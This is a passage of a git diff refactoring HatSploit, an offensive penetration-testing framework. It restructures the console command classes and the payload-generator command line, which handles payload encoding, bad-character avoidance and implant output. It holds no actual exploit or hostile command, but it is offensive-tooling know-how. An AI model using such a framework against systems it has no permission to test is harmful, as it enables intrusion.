diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index e64e08b39..70abd87e8 100755
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -8,13 +8,9 @@ jobs:
       - uses: actions/checkout@v1
       - name: Install HatSploit
         run: sudo pip3 install .
-      - name: Perform checks
-        run: hsf -c
   macOS:
     runs-on: macos-latest
     steps:
       - uses: actions/checkout@v1
       - name: Install HatSploit
-        run: sudo pip3 install .
-      - name: Perform checks
-        run: hsf -c
+        run: sudo pip3 install . --break-system-packages
diff --git a/hatsploit/__main__.py b/hatsploit/__main__.py
index d536f574e..ce2746bdc 100755
--- a/hatsploit/__main__.py
+++ b/hatsploit/__main__.py
@@ -22,16 +22,15 @@
 SOFTWARE.
 """
 
-import argparse
 import os
 import sys
-import yaml
+import argparse
 
 from hatasm import HatAsm
 from typing import Any, Optional
 from badges import Badges, Tables
 
-from pex.platform.types import EXEC_FORMATS
+from pex.platform import EXEC_FORMATS
 
 from hatsploit.core.base.console import Console
 
@@ -43,34 +42,22 @@
 from hatsploit.core.utils.update import Update
 
 from hatsploit.lib.config import Config
-from hatsploit.lib.jobs import Jobs
+from hatsploit.lib.ui.jobs import Jobs
 from hatsploit.lib.runtime import Runtime
-from hatsploit.lib.payloads import Payloads
-from hatsploit.lib.encoders import Encoders
-from hatsploit.lib.show import Show
+from hatsploit.lib.ui.payloads import Payloads
+from hatsploit.lib.ui.encoders import Encoders
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploit(object):
+class HatSploit(Badges, Config):
     """ Main class of hatsploit module.
 
     This main class of hatsploit module is a representation of
     HatSploit Framework CLI interface.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.jobs = Jobs()
-        self.config = Config()
-        self.runtime = Runtime()
-
-        self.console = Console()
-        self.builder = Builder()
-        self.badges = Badges()
-        self.check = Check()
-        self.update = Update()
-
-        self.path_config = self.config.path_config
+    jobs = Jobs()
+    runtime = Runtime()
 
     def policy(self) -> bool:
         """ Print Terms of Service and ask for confirmation.
@@ -80,14 +67,14 @@ def policy(self) -> bool:
         """
 
         if not os.path.exists(self.path_config['accept_path']):
-            self.badges.print_information("--( The HatSploit Terms of Service )--")
+            self.print_information("--( The HatSploit Terms of Service )--")
 
             with open(
                     self.path_config['policy_path'] + 'terms_of_service.txt', 'r'
             ) as f:
-                self.badges.print_empty(f.read())
+                self.print_empty(f.read())
 
-            agree = self.badges.input_question(
+            agree = self.input_question(
                 "Accept HatSploit Framework Terms of Service? [y/n] "
             )
             if agree[0].lower() not in ['y', 'yes']:
@@ -113,8 +100,8 @@ def initialize(self, silent: bool = False) -> bool:
 
         build = False
 
-        if not self.builder.check_base_built():
-            build = self.badges.input_question(
+        if not Builder().check_base_built():
+            build = self.input_question(
                 "Do you want to build and connect base databases? [y/n] "
             )
 
@@ -141,9 +128,9 @@ def launch(self, shell: bool = True, scripts: list = [], rpc: list = []) -> None
                 if len(rpc) >= 2:
                     self.jobs.create_job(f"RPC on port {str(rpc[1])}", "", RPC(*rpc).run)
 
-                self.console.shell()
+                Console().shell()
         else:
-            self.console.script(scripts, shell)
+            Console().script(scripts, shell)
 
     def cli(self) -> None:
         """ Main command-line arguments handler.
@@ -237,22 +224,22 @@ def cli(self) -> None:
             rpc = (args.host or '127.0.0.1', args.port or 5000)
 
         if args.check_all:
-            sys.exit(not self.check.check_all())
+            sys.exit(not Check().check_all())
 
         elif args.check_modules:
-            sys.exit(self.check.check_modules())
+            sys.exit(Check().check_modules())
 
         elif args.check_payloads:
-            sys.exit(self.check.check_payloads())
+            sys.exit(Check().check_payloads())
 
         elif args.check_plugins:
-            sys.exit(self.check.check_plugins())
+            sys.exit(Check().check_plugins())
 
         elif args.check_encoders:
-            sys.exit(self.check.check_encoders())
+            sys.exit(Check().check_encoders())
 
         elif args.update:
-            self.update.update()
+            Update().update()
             sys.exit(0)
 
         elif args.script:
@@ -315,28 +302,15 @@ def __call__(self, parser: Any, namespace: Any, values: str,
         setattr(namespace, self.dest, options)
 
 
-class HatSploitGen(HatSploit):
+class HatSploitGen(HatSploit, Tables, HatAsm):
     """ Main class of hatsploit module.
 
     This main class of hatsploit module is a payload generator
     CLI interface.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.hatasm = HatAsm()
-        self.payloads = Payloads()
-        self.encoders = Encoders()
-
-        self.show = Show()
-
-        self.badges = Badges()
-        self.tables = Tables()
-        self.config = Config()
-
-        self.builder = Builder()
-        self.db = DB()
+    payloads = Payloads()
+    encoders = Encoders()
 
     def cli(self) -> None:
         """ Main command-line arguments handler.
@@ -431,6 +405,7 @@ def cli(self) -> None:
             '-a',
             '--assembly',
             dest='assembly',
+            action='store_true',
             help='Show assembly for payloads. (requires --arch)'
         )
         parser.add_argument(
@@ -448,12 +423,12 @@ def cli(self) -> None:
         args = parser.parse_args()
 
         if args.custom:
-            self.badges.print_process(f"Using {args.custom} as custom payload path...")
+            self.print_process(f"Using {args.custom} as custom payload path...")
 
-            self.builder.build_payload_database(
-                args.custom, self.config.path_config['db_path'] + 'custom.json')
-            self.db.connect_payload_database(
-                'custom', self.config.path_config['db_path'] + 'custom.json')
+            Builder().build_payload_database(
+                args.custom, self.path_config['db_path'] + 'custom.json')
+            DB().connect_payload_database(
+                'custom', self.path_config['db_path'] + 'custom.json')
 
         if args.payloads or args.encoders:
             query = ''
@@ -464,10 +439,10 @@ def cli(self) -> None:
                 query += '/' + args.arch
 
             if args.payloads:
-                self.show.show_search_payloads(
+                Show().show_search_payloads(
                     self.payloads.get_payloads(), query)
             elif args.encoders:
-                self.show.show_search_encoders(
+                Show().show_search_encoders(
                     self.encoders.get_encoders(), query)
 
         elif args.formats:
@@ -478,7 +453,7 @@ def cli(self) -> None:
                     platforms = ', '.join([str(p) for p in EXEC_FORMATS[format]])
                     data.append((format, platforms))
 
-                self.tables.print_table("Formats", ('Format', 'Platforms'), *data)
+                self.print_table("Formats", ('Format', 'Platforms'), *data)
 
             else:
                 formats = []
@@ -488,10 +463,10 @@ def cli(self) -> None:
                         formats.append(format)
 
                 data = [(args.platform, ', '.join(formats))]
-                self.tables.print_table("Formats", ('Platform', 'Formats'), *data)
+                self.print_table("Formats", ('Platform', 'Formats'), *data)
 
         elif args.payload:
-            self.badges.print_process(f"Attempting to generate {args.payload}...")
+            self.print_process(f"Attempting to generate {args.payload}...")
 
             options = {}
 
@@ -499,22 +474,22 @@ def cli(self) -> None:
                 options = args.options
 
             if args.encoder and args.iterations:
-                self.badges.print_information(f"Using {str(args.iterations)} as a number of times to encode.")
+                self.print_information(f"Using {str(args.iterations)} as a number of times to encode.")
                 options['iterations'] = args.iterations
 
             if args.badchars:
-                self.badges.print_information(f"Trying to avoid these bad characters: {args.badchars}")
+                self.print_information(f"Trying to avoid these bad characters: {args.badchars}")
                 options['badchars'] = args.badchars
 
             if args.encoder:
-                self.badges.print_information(f"Payload will be encoded with {args.encoder}")
+                self.print_information(f"Payload will be encoded with {args.encoder}")
 
             payload = self.payloads.get_payload(args.payload)
             if not payload:
-                self.badges.print_error(f"Invalid payload: {args.payload}!")
+                self.print_error(f"Invalid payload: {args.payload}!")
                 return
 
-            details = payload.details
+            details = payload.info
             payload = self.payloads.generate_payload(
                 args.payload, options, args.encoder, 'implant' if args.implant else 'run')
 
@@ -523,26 +498,26 @@ def cli(self) -> None:
                     payload, details['Platform'], details['Arch'], args.format)
 
             if not payload:
-                self.badges.print_error(f"Invalid format: {args.format}!")
+                self.print_error(f"Invalid format: {args.format}!")
                 return
 
             if not args.output:
-                self.badges.print_process("Writing raw payload...")
+                self.print_process(f"Writing raw payload ({str(len(payload))} bytes)...")
 
                 if isinstance(payload, bytes):
                     if args.assembly:
-                        hexdump = self.hatasm.hexdump_asm(str(details['Arch']), code=payload)
+                        hexdump = self.hexdump_asm(str(details['Arch']), code=payload)
                     else:
-                        hexdump = self.hatasm.hexdump(payload)
+                        hexdump = self.hexdump(payload)
 
                     for line in hexdump:
-                        self.badges.print_empty(line)
+                        self.print_empty(line)
                 else:
-                    self.badges.print_empty(payload)
+                    self.print_empty(payload)
 
             else:
                 with open(args.output, 'wb') as f:
-                    self.badges.print_process(f"Saving payload to {args.output}...")
+                    self.print_process(f"Saving payload to {args.output} ({str(len(payload))} bytes)...")
                     f.write(payload)
 
         else:
diff --git a/hatsploit/commands/advanced.py b/hatsploit/commands/advanced.py
old mode 100755
new mode 100644
index 20f3740a9..06fb47071
--- a/hatsploit/commands/advanced.py
+++ b/hatsploit/commands/advanced.py
@@ -3,19 +3,15 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.show import Show
+from badges.cmd import Command
 
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.show import Show
 
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.show = Show()
-        self.modules = Modules()
 
-        self.details.update({
+class ExternalCommand(Command):
+    def __init__(self):
+        super().__init__({
             'Category': "modules",
             'Name': "advanced",
             'Authors': [
@@ -26,8 +22,10 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def rpc(self, *args):
+        self.modules = Modules()
+
+    def rpc(self, *_):
         return self.modules.get_current_advanced()
 
-    def run(self, argc, argv):
-        self.show.show_advanced(self.modules.get_current_module())
+    def run(self, _):
+        Show().show_advanced(self.modules.get_current_module())
diff --git a/hatsploit/commands/back.py b/hatsploit/commands/back.py
index d4e0cf814..2654d6b47 100755
--- a/hatsploit/commands/back.py
+++ b/hatsploit/commands/back.py
@@ -3,17 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.modules = Modules()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "back",
             'Authors': [
@@ -24,8 +20,30 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def rpc(self, *args):
-        self.run(0, [])
+        self.modules = Modules()
 
-    def run(self, argc, argv):
+    def rpc(self, *_):
         self.modules.go_back()
+
+    def run(self, _):
+        module = self.modules.get_current_module()
+
+        if not module:
+            return
+
+        for command in module.commands:
+            self.console.delete_external(command)
+
+        self.modules.go_back()
+
+        module = self.modules.get_current_module()
+
+        if module:
+            commands = {}
+
+            for command in module.commands:
+                commands[command] = module.commands[command]
+                commands[command]['Method'] = getattr(module, command)
+                commands[command]['Category'] = 'module'
+
+            self.console.add_external(commands)
diff --git a/hatsploit/commands/banner.py b/hatsploit/commands/banner.py
index 7b85fa362..edce863c9 100755
--- a/hatsploit/commands/banner.py
+++ b/hatsploit/commands/banner.py
@@ -4,16 +4,12 @@
 """
 
 from hatsploit.core.utils.ui.banner import Banner
-from hatsploit.lib.command import Command
+from badges.cmd import Command
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.banner = Banner()
-
-        self.details.update({
+        super().__init__({
             'Category': "misc",
             'Name': "banner",
             'Authors': [
@@ -24,5 +20,5 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def run(self, argc, argv):
-        self.banner.print_random_banner()
+    def run(self, _):
+        Banner().print_random_banner()
diff --git a/hatsploit/commands/clear.py b/hatsploit/commands/clear.py
deleted file mode 100755
index 23a6c3e6e..000000000
--- a/hatsploit/commands/clear.py
+++ /dev/null
@@ -1,25 +0,0 @@
-"""
-This command requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.command import Command
-
-
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.details.update({
-            'Category': "core",
-            'Name': "clear",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - command developer',
-            ],
-            'Description': "Clear terminal window.",
-            'Usage': "clear",
-            'MinArgs': 0,
-        })
-
-    def run(self, argc, argv):
-        self.print_empty("%clear", end='')
diff --git a/hatsploit/commands/db.py b/hatsploit/commands/db.py
new file mode 100755
index 000000000..acf957e26
--- /dev/null
+++ b/hatsploit/commands/db.py
@@ -0,0 +1,41 @@
+"""
+This command requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from hatsploit.core.db.db import DB
+from badges.cmd import Command
+
+
+class ExternalCommand(Command):
+    def __init__(self):
+        super().__init__({
+            'Category': "manage",
+            'Name': "db",
+            'Authors': [
+                'Ivan Nikolskiy (enty8080) - command developer',
+            ],
+            'Description': "Manage database.",
+            'Usage': "db <option> [arguments]",
+            'MinArgs': 1,
+            'Options': {
+                'build': [
+                    '[modules|plugins|payloads|encoders] <path>',
+                    "Build database from path."
+                ],
+            },
+        })
+
+    def rpc(self, *args):
+        if len(args) < 1:
+            return
+
+        elif args[0] == 'build':
+            if len(args) >= 3:
+                db = DB(table=args[1])
+                db.build(args[2])
+
+    def run(self, args):
+        if args[1] == 'build':
+            db = DB(table=args[2])
+            db.build(args[3])
diff --git a/hatsploit/commands/devices.py b/hatsploit/commands/devices.py
new file mode 100644
index 000000000..1b6190749
--- /dev/null
+++ b/hatsploit/commands/devices.py
@@ -0,0 +1,28 @@
+"""
+This command requires HatSploit: https://hatsploit.com
+Current source: https://github.com/EntySec/HatSploit
+"""
+
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.show import Show
+
+
+class ExternalCommand(Command):
+    def __init__(self):
+        super().__init__({
+            'Category': "modules",
+            'Name': "devices",
+            'Authors': [
+                'Ivan Nikolskiy (enty8080) - command developer',
+            ],
+            'Description': "Display devices supported by module.",
+            'Usage': "devices",
+            'MinArgs': 0,
+        })
+
+        self.modules = Modules()
+
+    def run(self, _):
+        Show().show_module_devices(
+            self.modules.get_current_module())
diff --git a/hatsploit/commands/encoder_db.py b/hatsploit/commands/encoder_db.py
deleted file mode 100755
index ef8e533c8..000000000
--- a/hatsploit/commands/encoder_db.py
+++ /dev/null
@@ -1,73 +0,0 @@
-"""
-This command requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.core.db.builder import Builder
-from hatsploit.core.db.db import DB
-from hatsploit.lib.command import Command
-from hatsploit.lib.show import Show
-
-
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.db = DB()
-        self.builder = Builder()
-        self.show = Show()
-
-        self.details.update({
-            'Category': "databases",
-            'Name': "encoder_db",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - command developer',
-            ],
-            'Description': "Manage encoder databases.",
-            'Usage': "encoder_db <option> [arguments]",
-            'MinArgs': 1,
-            'Options': {
-                '-l': ['', "List all connected encoder databases."],
-                '-d': ['<name>', "Disconnect specified encoder database."],
-                '-c': ['<name> <path>', "Connect new encoder database."],
-                '-b': [
-                    '<path> <output_path>',
-                    "Build encoder database from encoders path.",
-                ],
-            },
-        })
-
-    def rpc(self, *args):
-        if len(args) < 1:
-            return
-
-        if args[0] == 'list':
-            return self.db.get_encoder_databases()
-
-        elif args[0] == 'disconnect':
-            if len(args) >= 2:
-                self.db.disconnect_encoder_database(args[1])
-
-        elif args[0] == 'build':
-            if len(args) >= 3:
-                self.builder.build_encoder_database(args[1], args[2])
-
-        elif args[0] == 'connect':
-            if len(args) >= 3:
-                self.db.connect_encoder_database(args[1], args[2])
-
-    def run(self, argc, argv):
-        choice = argv[1]
-
-        if choice == '-l':
-            self.show.show_encoder_databases(
-                self.db.get_encoder_databases())
-
-        elif choice == '-d':
-            self.db.disconnect_encoder_database(argv[2])
-
-        elif choice == '-b':
-            self.builder.build_encoder_database(argv[2], argv[3])
-
-        elif choice == '-c':
-            self.db.connect_encoder_database(argv[2], argv[3])
diff --git a/hatsploit/commands/encoders.py b/hatsploit/commands/encoders.py
index 07cbe751b..dc22e0b57 100755
--- a/hatsploit/commands/encoders.py
+++ b/hatsploit/commands/encoders.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.encoders import Encoders
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.encoders import Encoders
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.show = Show()
-        self.encoders = Encoders()
-
-        self.details.update({
+        super().__init__({
             'Category': "encoder",
             'Name': "encoders",
             'Authors': [
@@ -26,8 +21,10 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def rpc(self, *args):
+        self.encoders = Encoders()
+
+    def rpc(self, *_):
         return self.encoders.get_encoders()
 
-    def run(self, argc, argv):
-        self.show.show_encoders(self.encoders.get_encoders())
+    def run(self, _):
+        Show().show_encoders(self.encoders.get_encoders())
diff --git a/hatsploit/commands/exec.py b/hatsploit/commands/exec.py
deleted file mode 100755
index 66cbc8e51..000000000
--- a/hatsploit/commands/exec.py
+++ /dev/null
@@ -1,29 +0,0 @@
-"""
-This command requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.command import Command
-from hatsploit.lib.commands import Commands
-
-
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.commands = Commands()
-
-        self.details.update({
-            'Category': "developer",
-            'Name': "exec",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - command developer',
-            ],
-            'Description': "Execute local system command.",
-            'Usage': "exec <command>",
-            'MinArgs': 1,
-        })
-
-    def run(self, argc, argv):
-        commands = self.format_commands(argv[1])
-        self.commands.execute_system_command(commands)
diff --git a/hatsploit/commands/exit.py b/hatsploit/commands/exit.py
index ea74e1c5d..72da7c0b5 100755
--- a/hatsploit/commands/exit.py
+++ b/hatsploit/commands/exit.py
@@ -5,19 +5,15 @@
 
 import sys
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.jobs import Jobs
-from hatsploit.lib.sessions import Sessions
+from badges.cmd import Command
 
+from hatsploit.lib.ui.jobs import Jobs
+from hatsploit.lib.ui.sessions import Sessions
 
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.jobs = Jobs()
-        self.sessions = Sessions()
 
-        self.details.update({
+class ExternalCommand(Command):
+    def __init__(self):
+        super().__init__({
             'Category': "core",
             'Name': "exit",
             'Authors': [
@@ -28,7 +24,10 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-    def run(self, argc, argv):
+        self.jobs = Jobs()
+        self.sessions = Sessions()
+
+    def run(self, _):
         if self.jobs.get_jobs():
             self.print_warning("You have some running jobs.")
 
diff --git a/hatsploit/commands/help.py b/hatsploit/commands/help.py
deleted file mode 100755
index 32155c91f..000000000
--- a/hatsploit/commands/help.py
+++ /dev/null
@@ -1,29 +0,0 @@
-"""
-This command requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.lib.command import Command
-from hatsploit.lib.commands import Commands
-
-
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.commands = Commands()
-
-        self.details.update({
-            'Category': "core",
-            'Name': "help",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - command developer',
-            ],
-            'Description': "Show available commands.",
-            'Usage': "help",
-            'MinArgs': 0,
-        })
-
-
-    def run(self, argc, argv):
-        self.commands.execute_command(['?'])
diff --git a/hatsploit/commands/history.py b/hatsploit/commands/history.py
index 87edfbf22..82031ed73 100755
--- a/hatsploit/commands/history.py
+++ b/hatsploit/commands/history.py
@@ -3,17 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.history import History
+from badges.cmd import Command
+from hatsploit.lib.ui.history import History
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.history = History()
-
-        self.details.update({
+        super().__init__({
             'Category': "developer",
             'Name': "history",
             'Authors': [
@@ -23,25 +19,25 @@ def __init__(self):
             'Usage': "history <option>",
             'MinArgs': 1,
             'Options': {
-                '-l': ['', "List all history."],
-                '-c': ['', "Clear all history."],
+                'list': ['', "List all history."],
+                'clear': ['', "Clear all history."],
                 'on': ['', "Turn history on."],
                 'off': ['', "Turn history off."],
             },
         })
 
-    def run(self, argc, argv):
-        option = argv[1]
+        self.history = History()
 
-        if option == 'on':
+    def run(self, args):
+        if args[1] == 'on':
             self.history.enable_history()
 
-        elif option == 'off':
+        elif args[1] == 'off':
             self.history.disable_history()
 
-        elif option == '-c':
+        elif args[1] == 'clear':
             self.history.clear_history()
 
-        elif option == '-l':
+        elif args[1] == 'list':
             for entry in self.history.list_history():
                 self.print_empty(entry)
diff --git a/hatsploit/commands/info.py b/hatsploit/commands/info.py
index 97f7adc4b..ad312704f 100755
--- a/hatsploit/commands/info.py
+++ b/hatsploit/commands/info.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.modules = Modules()
-        self.show = Show()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "info",
             'Authors': [
@@ -26,7 +21,11 @@ def __init__(self):
             'MinArgs': 0,
         })
 
-        self.complete = self.modules.modules_completer
+        self.modules = Modules()
+        self.show = Show()
+
+    def complete(self):
+        return self.modules.modules_completer()
 
     def get_module_information(self, module):
         if self.modules.check_exist(module):
@@ -35,16 +34,16 @@ def get_module_information(self, module):
         else:
             self.print_error("Invalid module!")
 
-    def run(self, argc, argv):
+    def run(self, args):
         if self.modules.get_current_module():
-            if argc > 1:
-                self.get_module_information(argv[1])
+            if len(args) > 1:
+                self.get_module_information(args[1])
             else:
                 self.show.show_module_information(
                     None
                 )
         else:
-            if argc > 1:
-                self.get_module_information(argv[1])
+            if len(args) > 1:
+                self.get_module_information(args[1])
             else:
-                self.print_usage(self.details['Usage'])
+                self.print_usage(self.info['Usage'])
diff --git a/hatsploit/commands/jobs.py b/hatsploit/commands/jobs.py
index 318eb06ab..f12715fd5 100755
--- a/hatsploit/commands/jobs.py
+++ b/hatsploit/commands/jobs.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.jobs import Jobs
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.jobs import Jobs
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.jobs = Jobs()
-        self.show = Show()
-
-        self.details.update({
+        super().__init__({
             'Category': "jobs",
             'Name': "jobs",
             'Authors': [
@@ -25,16 +20,17 @@ def __init__(self):
             'Usage': "jobs <option> [arguments]",
             'MinArgs': 1,
             'Options': {
-                '-l': ['', 'List all active jobs.'],
-                '-k': ['<id>', 'Kill specified job.'],
+                'list': ['', 'List all active jobs.'],
+                'kill': ['<id>', 'Kill specified job.'],
             },
         })
 
-    def run(self, argc, argv):
-        choice = argv[1]
+        self.jobs = Jobs()
+        self.show = Show()
 
-        if choice == '-l':
+    def run(self, args):
+        if args[1] == 'list':
             self.show.show_jobs(self.jobs.get_jobs())
 
-        elif choice == '-k':
-            self.jobs.delete_job(argv[2])
+        elif args[1] == 'kill':
+            self.jobs.delete_job(args[2])
diff --git a/hatsploit/commands/load.py b/hatsploit/commands/load.py
index 631d567b5..ac8a13ae0 100755
--- a/hatsploit/commands/load.py
+++ b/hatsploit/commands/load.py
@@ -3,17 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.plugins import Plugins
+from badges.cmd import Command
+from hatsploit.lib.ui.plugins import Plugins
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.plugins = Plugins()
-
-        self.details.update({
+        super().__init__({
             'Category': "plugins",
             'Name': "load",
             'Authors': [
@@ -24,7 +20,18 @@ def __init__(self):
             'MinArgs': 1,
         })
 
-        self.complete = self.plugins.plugins_completer
+        self.plugins = Plugins()
+
+    def complete(self):
+        return self.plugins.plugins_completer()
+
+    def run(self, args):
+        plugin = self.plugins.load_plugin(args[1])
+        commands = {}
+
+        for command in plugin.commands:
+            commands[command] = plugin.commands[command]
+            commands[command]['Method'] = getattr(plugin, command)
+            commands[command]['Category'] = plugin.info['Plugin']
 
-    def run(self, argc, argv):
-        self.plugins.load_plugin(argv[1])
+        self.console.add_external(commands)
diff --git a/hatsploit/commands/log.py b/hatsploit/commands/log.py
index 879cb3a12..6ff293840 100755
--- a/hatsploit/commands/log.py
+++ b/hatsploit/commands/log.py
@@ -3,17 +3,13 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
+from badges.cmd import Command
 from hatsploit.lib.log import Log
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.log = Log()
-
-        self.details.update({
+        super().__init__({
             'Category': "developer",
             'Name': "log",
             'Authors': [
@@ -28,11 +24,11 @@ def __init__(self):
             },
         })
 
-    def run(self, argc, argv):
-        option = argv[1]
+        self.log = Log()
 
-        if option == 'on':
-            self.log.enable_log(argv[2])
+    def run(self, args):
+        if args[1] == 'on':
+            self.log.enable_log(args[2])
 
-        elif option == 'off':
+        elif args[1] == 'off':
             self.log.disable_log()
diff --git a/hatsploit/commands/loot.py b/hatsploit/commands/loot.py
index 44be146b5..cbc2d2e80 100755
--- a/hatsploit/commands/loot.py
+++ b/hatsploit/commands/loot.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
+from badges.cmd import Command
 from hatsploit.lib.loot import Loot
-from hatsploit.lib.show import Show
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.loot = Loot()
-        self.show = Show()
-
-        self.details.update({
+        super().__init__({
             'Category': "loot",
             'Name': "loot",
             'Authors': [
@@ -25,16 +20,17 @@ def __init__(self):
             'Usage': "loot <option> [arguments]",
             'MinArgs': 1,
             'Options': {
-                '-l': ['', "List all collected loot."],
-                '-r': ['<name>', "Remove collected loot."],
+                'list': ['', "List all collected loot."],
+                'remove': ['<name>', "Remove collected loot."],
             },
         })
 
-    def run(self, argc, argv):
-        choice = argv[1]
+        self.loot = Loot()
+        self.show = Show()
 
-        if choice == '-l':
+    def run(self, args):
+        if args[1] == 'list':
             self.show.show_loot(self.loot.list_loot())
 
-        elif choice == '-r':
-            self.loot.remove_loot(argv[2])
+        elif args[1] == 'remove':
+            self.loot.remove_loot(args[2])
diff --git a/hatsploit/commands/module_db.py b/hatsploit/commands/module_db.py
deleted file mode 100755
index 846e9dcd3..000000000
--- a/hatsploit/commands/module_db.py
+++ /dev/null
@@ -1,70 +0,0 @@
-"""
-This command requires HatSploit: https://hatsploit.com
-Current source: https://github.com/EntySec/HatSploit
-"""
-
-from hatsploit.core.db.builder import Builder
-from hatsploit.core.db.db import DB
-from hatsploit.lib.command import Command
-from hatsploit.lib.show import Show
-
-
-class HatSploitCommand(Command):
-    def __init__(self):
-        super().__init__()
-
-        self.db = DB()
-        self.builder = Builder()
-        self.show = Show()
-
-        self.details.update({
-            'Category': "databases",
-            'Name': "module_db",
-            'Authors': [
-                'Ivan Nikolskiy (enty8080) - command developer',
-            ],
-            'Description': "Manage module databases.",
-            'Usage': "module_db <option> [arguments]",
-            'MinArgs': 1,
-            'Options': {
-                '-l': ['', "List all connected module databases."],
-                '-d': ['<name>', "Disconnect specified module database."],
-                '-c': ['<name> <path>', "Connect new module database."],
-                '-b': ['<path> <output_path>', "Build module database from modules path."],
-            },
-        })
-
-    def rpc(self, *args):
-        if len(args) < 1:
-            return
-
-        if args[0] == 'list':
-            return self.db.get_module_databases()
-
-        elif args[0] == 'disconnect':
-            if len(args) >= 2:
-                self.db.disconnect_module_database(args[1])
-
-        elif args[0] == 'build':
-            if len(args) >= 3:
-                self.builder.build_module_database(args[1], args[2])
-
-        elif args[0] == 'connect':
-            if len(args) >= 3:
-                self.db.connect_module_database(args[1], args[2])
-
-    def run(self, argc, argv):
-        choice = argv[1]
-
-        if choice == '-l':
-            self.show.show_module_databases(
-                self.db.get_module_databases())
-
-        elif choice == '-d':
-            self.db.disconnect_module_database(argv[2])
-
-        elif choice == '-b':
-            self.builder.build_module_database(argv[2], argv[3])
-
-        elif choice == '-c':
-            self.db.connect_module_database(argv[2], argv[3])
diff --git a/hatsploit/commands/modules.py b/hatsploit/commands/modules.py
index 9ceb696db..1151c1cf5 100755
--- a/hatsploit/commands/modules.py
+++ b/hatsploit/commands/modules.py
@@ -3,19 +3,14 @@
 Current source: https://github.com/EntySec/HatSploit
 """
 
-from hatsploit.lib.command import Command
-from hatsploit.lib.modules import Modules
-from hatsploit.lib.show import Show
+from badges.cmd import Command
+from hatsploit.lib.ui.modules import Modules
+from hatsploit.lib.ui.show import Show
 
 
-class HatSploitCommand(Command):
+class ExternalCommand(Command):
     def __init__(self):
-        super().__init__()
-
-        self.modules = Modules()
-        self.show = Show()
-
-        self.details.update({
+        super().__init__({
             'Category': "modules",
             'Name': "modules",
